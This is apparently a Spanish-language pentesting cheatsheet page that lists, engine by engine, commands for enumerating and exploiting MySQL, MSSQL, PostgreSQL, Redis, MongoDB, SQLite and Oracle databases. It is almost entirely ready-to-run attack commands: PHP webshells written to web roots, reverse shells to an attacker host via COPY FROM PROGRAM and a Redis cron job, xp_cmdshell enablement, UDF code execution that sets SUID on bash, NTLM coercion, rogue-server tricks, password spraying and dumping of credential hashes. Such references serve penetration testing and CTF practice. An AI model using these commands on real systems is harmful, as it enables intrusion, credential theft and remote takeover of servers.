← Cheatsheets Bases de datos Cada motor se enumera y se explota distinto: MySQL/MariaDB, MSSQL, PostgreSQL, Redis y SQLite tienen su propia sintaxis, sus rutas a RCE y sus trucos. Una ficha por motor.
MySQL / MariaDB · 3306 20 comandos Copiar todo
Conectar / enumerar Versión, cuentas sin contraseña y usuarios nmap -p3306 -sCV --script mysql-info,mysql-empty-password,mysql-users <ip>Conectar con credenciales obtenidas mysql -h <ip> -u <user> -p'<pass>'MariaDB reciente: evitar el error de TLS al conectar mysql -h <ip> -u root -p --skip-sslComprobar si se puede leer/escribir ficheros locales SELECT @@secure_file_privEsquema Recorrer bases, tablas y columnas SHOW DATABASES; USE <db>; SHOW TABLES; DESCRIBE <tabla>;Listar todas las bases de datos SELECT schema_name FROM information_schema.schemataListar las tablas de una base concreta SELECT table_name FROM information_schema.tables WHERE table_schema='<db>'Listar las columnas de una tabla SELECT column_name FROM information_schema.columns WHERE table_name='<table>'Volcar todas las bases a un fichero para revisarlo offline mysqldump -h <ip> -u <user> -p'<pass>' --all-databases > dump.sqlUsuarios / hashes Volcar los hashes de las cuentas de MySQL SELECT user,authentication_string FROM mysql.user;Ver los privilegios del usuario actual SHOW GRANTSVolcar los hashes de las cuentas MySQL SELECT user, authentication_string FROM mysql.userLeer/escribir ficheros Lectura de ficheros arbitrarios (privilegio FILE) SELECT LOAD_FILE('/etc/passwd');RCE escribiendo una webshell (FILE + ruta escribible) SELECT '<?php system($_GET[0]);?>' INTO OUTFILE '/var/www/html/s.php';Escribir una webshell en el docroot SELECT '<?php system($_GET[0]); ?>' INTO OUTFILE '/var/www/html/sh.php'RCE RCE por UDF (lib_mysqludf_sys) tras cargar la librería SELECT sys_exec('id'); SELECT sys_eval('id');Compilar la UDF (raptor_udf2) para do_system gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.c -lcRegistrar la UDF y ejecutar como el usuario de MySQL (a menudo root) CREATE FUNCTION sys_exec RETURNING INT SONAME 'raptor_udf2.so'; SELECT sys_exec('chmod +s /bin/bash');Escapar a una shell desde el cliente mysql (\!) mysql> \! /bin/shRogue server Servidor MySQL falso: robar ficheros del cliente (LOAD DATA LOCAL) python3 -m mysqld_mock <lhost> # rogue MySQL for LOAD DATA LOCALMS SQL Server · 1433 27 comandos Copiar todo
Conectar Instancia, versión e info NTLM (nombre de host/dominio) nmap -p1433 -sCV --script ms-sql-info,ms-sql-ntlm-info,ms-sql-empty-password <ip>Login con autenticación de Windows impacket-mssqlclient '<domain>/<user>:<pass>@<ip>' -windows-authCliente MSSQL alternativo desde Linux (útil si mssqlclient falla) sqsh -S <ip> -U '<user>' -P '<pass>' # or -U '.\<user>' for local authLogin con Kerberos (tras exportar KRB5CCNAME) impacket-mssqlclient -k <host>.<domain>Conectar con autenticación de Windows (impacket) mssqlclient.py <user>@<ip> -windows-authConectar desde Windows con sqlcmd sqlcmd -S <host>\<instance> -U <user> -P '<pass>'Enumerar Enumerar bases y leer tablas SELECT name FROM sys.databases; SELECT * FROM <db>.dbo.<tabla>;Leer ficheros Leer ficheros locales del servidor con OPENROWSET (BULK) SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS x;OPENROWSET/BULK: leer ficheros del host de la base de datos SELECT * FROM OPENROWSET(BULK 'C:\Windows\win.ini', SINGLE_CLOB) AS xLeer un fichero local del servidor SELECT * FROM OPENROWSET(BULK N'C:/Windows/win.ini', SINGLE_CLOB) AS xxp_cmdshell (RCE) Habilitar xp_cmdshell (si eres sysadmin) EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;Ejecución de comandos del sistema operativo EXEC xp_cmdshell 'whoami';Habilitar las opciones avanzadas del servidor EXECUTE sp_configure 'show advanced options', 1; RECONFIGUREHabilitar xp_cmdshell para ejecutar comandos EXECUTE sp_configure 'xp_cmdshell', 1; RECONFIGUREReverse shell desde MSSQL como la cuenta del servicio EXEC xp_cmdshell 'powershell -e <base64>'Habilitar xp_cmdshell con el comando integrado del cliente de impacket impacket-mssqlclient '<domain>/<user>:<pass>@<ip>' -windows-auth # then: enable_xp_cmdshellServidores enlazados Saltar a un servidor enlazado (linked server) SELECT * FROM OPENQUERY(<servidor_enlazado>, 'SELECT ...'); EXEC ('sp_configure...') AT [<servidor_enlazado>];Enumerar servidores enlazados (linked servers) para saltar a otra instancia EXEC sp_linkedservers | SELECT * FROM sys.serversEjecutar comandos en el servidor enlazado via AT (RPC out) EXEC ('sp_configure ''xp_cmdshell'',1;RECONFIGURE;EXEC xp_cmdshell ''whoami'';') AT [<servidor_enlazado>]impacket mssqlclient: enumerar y saltar por linked servers de forma interactiva mssqlclient.py '<domain>/<user>:<pass>'@<ip> -windows-auth -> enum_links / use_linkIdentificar servidores enlazados (linked servers) SELECT srvname, isremote FROM sysserversEjecutar en un servidor enlazado (salto de confianza) EXECUTE('sp_configure ''xp_cmdshell'',1;reconfigure') AT [<linked>]Coerción NTLM Forzar autenticación NTLM del servicio también por xp_subdirs EXEC master..xp_subdirs '\\<lhost>\share';Forzar autenticación NTLM del servicio (capturar/relay con responder) EXEC master..xp_dirtree '\\<lhost>\share';Coercion NTLM: forzar al servicio MSSQL a autenticarse contra ti EXEC master..xp_dirtree '\\<lhost>\share' (captura NTLMv2 con responder)Impersonación Impersonar un login con más permisos (IMPERSONATE) EXECUTE AS LOGIN = 'sa'; SELECT SYSTEM_USER;Impersonar un login (IMPERSONATE): escalar a sa para habilitar xp_cmdshell EXECUTE AS LOGIN='sa'; SELECT SYSTEM_USER;PostgreSQL · 5432 15 comandos Copiar todo
Conectar / enumerar Versión y prueba de credenciales por defecto nmap -p5432 -sCV --script pgsql-brute <ip>Conectar (probar la pareja postgres:postgres) psql -h <ip> -U postgres -d postgres # postgres:postgresConectar por cadena de conexión (URI) psql 'postgresql://<user>:<pass>@<ip>:5432/<db>'Meta-comandos: bases, tablas, roles y datos \l \c <db> \dt \du SELECT * FROM users;Versión del motor y usuario de la sesión SELECT version(); SELECT current_user, session_user;Usuarios / hashes Ver qué roles son superusuario (habilita RCE) SELECT usename, usesuper FROM pg_user;Volcar los hashes de los roles (siendo superusuario) SELECT usename, passwd FROM pg_shadow;Crackear los hashes MD5 de PostgreSQL hashcat -m 12 pg.hash <rockyou.txt> # 'md5<...>' PostgreSQL hashesLeer ficheros Lectura de ficheros arbitrarios del servidor SELECT pg_read_file('/etc/passwd', 0, 1000000);Large objects: leer ficheros del servidor a una tabla SELECT lo_import('/etc/passwd', 1234); SELECT lo_get(1234);Listar el contenido de un directorio del servidor SELECT pg_ls_dir('/var/lib/postgresql');RCE RCE con COPY FROM PROGRAM (superusuario) CREATE TABLE cmd(o text); COPY cmd FROM PROGRAM 'id'; SELECT * FROM cmd;Reverse shell directa por COPY FROM PROGRAM COPY cmd FROM PROGRAM 'bash -c "bash -i >& /dev/tcp/<lhost>/<lport> 0>&1"';Escribir ficheros Escribir una webshell en el docroot (si es escribible) COPY (SELECT '<?php system($_GET[0]);?>') TO '/var/www/html/s.php';dblink dblink: pivotar a otras bases o forzar conexiones internas CREATE EXTENSION dblink; SELECT dblink_connect('host=127.0.0.1 ...');Redis · 6379 13 comandos Copiar todo
Enumerar Comprobar acceso sin autenticación e info del servidor redis-cli -h <ip> ping; redis-cli -h <ip> info # unauth check + server infoConectar con contraseña y leer la configuración redis-cli -h <ip> -a <pass> infoVer si el servidor exige contraseña redis-cli -h <ip> CONFIG GET requirepassDirectorio de trabajo y claves almacenadas redis-cli -h <ip> CONFIG GET dir; redis-cli -h <ip> KEYS '*'Recorrer y leer valores (a veces credenciales/tokens) redis-cli -h <ip> --scan; redis-cli -h <ip> GET <key>Ver el usuario y los permisos ACL (Redis 6+) redis-cli -h <ip> ACL WHOAMI; redis-cli -h <ip> ACL LISTWebshell / SSH Escribir una webshell si controla un directorio web CONFIG SET dir /var/www/html; CONFIG SET dbfilename shell.php; SET x '<?php system($_GET[0]);?>'; SAVEEscribir una clave SSH en authorized_keys CONFIG SET dir /root/.ssh; CONFIG SET dbfilename authorized_keys; SET x '\n\n<ssh_pubkey>\n\n'; SAVERCE escribiendo un cron job si el directorio de cron es escribible CONFIG SET dir /var/spool/cron; CONFIG SET dbfilename root; SET x '\n\n* * * * * bash -i >& /dev/tcp/<lhost>/<lport> 0>&1\n\n'; SAVERCE (módulo/replica) RCE cargando un módulo malicioso (Redis 4/5) redis-cli -h <ip> MODULE LOAD /path/exp.so; redis-cli -h <ip> system.exec 'id'RCE por replicación maestro-esclavo (redis-rogue-server) redis-cli -h <ip> SLAVEOF <lhost> 6379 # replication with a rogue serverRCE con redis-rogue-server (replicación + módulo malicioso) python3 redis-rogue-server.py --rhost <ip> --rport 6379 --lhost <lhost>Escape del sandbox Lua de Redis (CVE-2022-0543) redis-cli -h <ip> eval 'os.execute("id")' 0 # CVE-2022-0543 (Debian/Ubuntu)MongoDB · 27017 8 comandos Copiar todo
Conectar / enumerar Versión del servicio y bases accesibles sin autenticación nmap -p27017 -sV --script mongodb-info,mongodb-databases <ip>Conectar sin credenciales (comprobar acceso anónimo) mongosh 'mongodb://<ip>:27017' # legacy: mongo <ip>:27017Conectar con credenciales contra la base de autenticación mongosh -u <user> -p '<pass>' --authenticationDatabase admin <ip>:27017Enumerar Listar bases y colecciones show dbs; use <db>; show collectionsEnumerar colecciones y leer sus documentos db.getCollectionNames(); db.<col>.find().pretty()Extraer solo los campos de credenciales de una colección db.<col>.find({}, {user:1, pass:1, password:1})Listar todas las bases siendo administrador db.adminCommand({listDatabases:1})Usuarios / hashes Volcar los usuarios y sus hashes SCRAM guardados db.system.users.find() # stored SCRAM user hashesSQLite (ficheros .db locales) 9 comandos Copiar todo
Identificar Confirmar que un fichero encontrado es una base SQLite file <file>.db # 'SQLite 3.x database'Ficheros de interés Localizar bases SQLite por el sistema de ficheros find / \( -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' \) 2>/dev/nullEnumerar Listar las tablas de la base sqlite3 <file>.db '.tables'Ver la estructura de todas las tablas sqlite3 <file>.db '.schema'Listar tablas consultando la tabla maestra sqlite3 <file>.db "SELECT name FROM sqlite_master WHERE type='table';"Abrir la base en un visor gráfico para navegar las tablas sqlitebrowser <file>.db # browse tables in a GUIVolcado Volcar toda la base a SQL para revisarla offline sqlite3 <file>.db '.dump' > dump.sqlVolcar credenciales guardadas en la base sqlite3 <file>.db 'SELECT username,password FROM users;'Rebuscar cadenas si la base está corrupta o cifrada parcialmente strings <file>.db | grep -iE 'pass|hash|token'Oracle TNS · 1521 17 comandos Copiar todo
SID y credenciales Descubrir el SID de la instancia por fuerza bruta nmap -p1521 -sV --script oracle-sid-brute <ip>Adivinar credenciales por defecto (scott/tiger, system...) odat passwordguesser -s <ip> -d <SID>Adivinar el SID y luego credenciales por defecto contra ese SID odat sidguesser -s <ip> -p 1521 | odat passwordguesser -s <ip> -p 1521 -d <SID>Adivinar el SID de la instancia odat sidguesser -s <ip> -p 1521Oracle: spraying de credenciales por defecto odat passwordguesser -s <ip> -d <sid> --accounts-file accounts/accounts_multiple.txtODAT (todo) Batería completa de comprobaciones sobre el servicio Oracle odat all -s <ip>odat: bateria completa (SID, cuentas por defecto, TNS, privesc) en un comando odat all -s <ip> -p 1521Ataque completo automático contra Oracle TNS ./odat.py all -s <ip>Conectar (sqlplus) Conectar a la base de datos Oracle sqlplus <user>/<pass>@<ip>/<SID> # as sysdba if applicableIniciar sesión en la base Oracle sqlplus <user>/<pass>@<ip>/<sid>Oracle: listar tablas como sysdba sqlplus <user>/<pass>@<ip>/<sid> as sysdba <<< 'SELECT table_name FROM all_tables;'Ficheros (utlfile) Subir una webshell al servidor con UTL_FILE (a IIS) odat utlfile -s <ip> -d <SID> -U <user> -P <pass> --sysdba --putFile C:\\inetpub\\wwwroot shell.php ./shell.phpSubir ficheros al host Oracle con el paquete UTL_FILE odat utlfile -s <ip> -d <SID> -U <user> -P <pass> --putFile ...Subir un fichero al servidor con utlfile ./odat.py utlfile -s <ip> -d <sid> -U <user> -P <pass> --sysdba --putFile C:\\ shell.exe shell.exeOracle: leer un fichero del servidor con UTL_FILE odat utlfile -s <ip> -d <sid> -U <user> -P <pass> --sysdba --getFile C:\\path file.txt ./out.txtRCE RCE via external tables cuando la cuenta tiene privilegios suficientes odat externaltable -s <ip> -d <SID> -U <user> -P <pass> --exec 'whoami'Privilegios Enumerar roles y privilegios de la sesion (buscar DBA / JAVA) SELECT * FROM session_privs; | SELECT * FROM user_role_privs;Sin resultados